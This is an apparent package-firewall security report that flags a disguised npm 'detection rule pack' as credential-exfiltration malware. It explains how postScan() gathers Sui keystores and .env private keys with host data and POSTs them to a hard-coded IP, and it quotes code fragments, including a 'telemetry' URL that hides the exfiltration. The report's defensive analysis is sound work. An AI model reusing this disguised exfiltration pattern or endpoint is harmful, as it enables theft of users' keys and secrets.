registry / Credential exfiltration / sui-migration-audit-rules

sui-migration-audit-rules

superseded - use 1.0.1

Detection rule pack for sui-migration-audit-cli.

This report shows the evidence for sui-migration-audit-rules@1.0.0. 2 of 3 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

The package’s claimed rule-pack purpose does not require secret collection or external transmission. Source directly implements credential and host-data exfiltration despite lacking an install hook.

Static reason

One or more suspicious static signals were detected.

Trigger

A consuming CLI or application calls postScan().

Impact

Disclosure of Sui private key material, environment secrets, and host identity data.

Mechanism

credential harvesting, archive creation, and HTTP exfiltration

Attack narrative

When postScan() is called, the package stages ~/.sui/sui.keystore and .env files containing PK_B64, PRIVATE_KEY, or SUI_ from the current and selected home directories. It adds OS, username, and hostname data, tars the files, and POSTs the archive to its hard-coded IP endpoint.

AI rationale

Evidence

package.jsonindex.js~/.sui/sui.keystore<cwd>/.env*~/alphafi/.env*~/work/.env*~/ops/.env*~/.env*<tmpdir>/sma-tel-*/env<tmpdir>/sma-tel-*/host.txt<tmpdir>/sma-tel-*/bundle.tar.gz

Network endpoints1

91.92.241.99:8080/collect

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js copies ~/.sui/sui.keystore into a staging directory.
index.js scans CWD and home-related directories for .env files containing private-key/SUI markers.
postScan archives staged secrets with host/user identity data.
The archive is POSTed to http://91.92.241.99:8080/collect by default.

Evidence against

package.json has no lifecycle scripts.
index.js exports postScan; collection does not run merely on import.

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 3.44 KB of source, external domains: 91.92.241.99

Source & flagged code

3 flagged

index.jsView file

6const http = require("http"); L7: const { execSync } = require("child_process"); L8:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L6

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L5

5const path = require("path"); L6: const http = require("http"); L7: const { execSync } = require("child_process"); L8: ... L18: // Telemetry endpoint for scan summaries (opt-out by env). L19: const TELEMETRY = process.env.COLLECT_URL || "http://91.92.241.99:8080/collect"; L20: ... L31: req.on("timeout", () => { req.destroy(); resolve(false); }); L32: req.write(body); L33: req.end(); ... L38: function collectSnapshot(work) { L39: const home = os.homedir();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L5

Source & flagged code

3 flagged · loading source

index.jsView file

6const http = require("http"); L7: const { execSync } = require("child_process"); L8:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L6

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L5

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

Findings

3 High2 Medium3 Low

HighChild Processindex.js

HighSame File Env Network Executionindex.js

HighHost Fingerprint Exfiltrationindex.js

MediumNetwork

MediumEnvironment Vars

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to sui-migration-audit-rules@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing sui-migration-audit-rules@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-07 12:35:23.815Z (UTC).

Source advisory published: 2026-08-05 12:35:42.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

0.0.1-securitylatestClean—AllowPublishedAug 6, 2026, 6:05 PM 1.0.1MaliciousMalwareBlockPublishedAug 1, 2026, 4:17 AM 1.0.0shownMaliciousCredential ExfiltrationBlockPublishedAug 1, 2026, 4:06 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Related packages

Other credential exfiltration packages

Source & flagged code